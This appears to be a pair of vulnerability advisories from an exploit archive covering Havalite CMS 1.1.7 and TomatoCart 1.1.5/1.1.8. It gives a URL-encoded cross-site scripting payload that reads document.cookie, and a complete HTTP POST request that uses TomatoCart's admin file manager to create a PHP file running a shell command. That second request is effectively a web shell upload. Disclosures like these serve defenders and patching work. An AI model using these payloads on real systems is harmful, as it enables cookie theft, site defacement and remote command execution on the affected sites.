source: https://www.securityfocus.com/bid/57169/info

Havalite CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Havalite CMS 1.1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/?p=1 "comment" with value %E2%80%9C%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
HireHackking 
source: https://www.securityfocus.com/bid/57156/info

TomatoCart is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and create files with arbitrary shell script which may aid in further attacks.

TomatoCart versions 1.1.5 and 1.1.8 are vulnerable. 

POST /admin/json.php HTTP/1.1
Host: localhost
Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?>